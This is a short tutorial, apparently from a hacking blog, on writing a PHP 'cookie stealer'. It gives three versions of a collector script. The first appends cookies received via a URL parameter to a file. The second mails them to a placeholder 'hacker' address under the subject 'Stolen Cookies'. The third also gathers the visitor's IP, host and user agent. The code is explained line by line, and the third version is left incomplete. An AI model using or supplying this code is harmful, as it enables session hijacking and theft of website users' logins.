How to create cookie stealer Coding in PHP?~ get via email How to create cookie stealer Coding in PHP?~ get via email

Here is the simple Cookie Stealer code:
Cookie stored in File:

$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>

$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.

$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.

fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.

fclose($steal); close the opened file.

Another version: Sends cookies to the hacker mail   

$cookie = $HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies", $cookie);
?>

The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".

Third Version

function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown"; 

The above Cookie stealer will store the following information:

• Ip address
• port number
• host(usually computer-name)
• user agent
• cookie
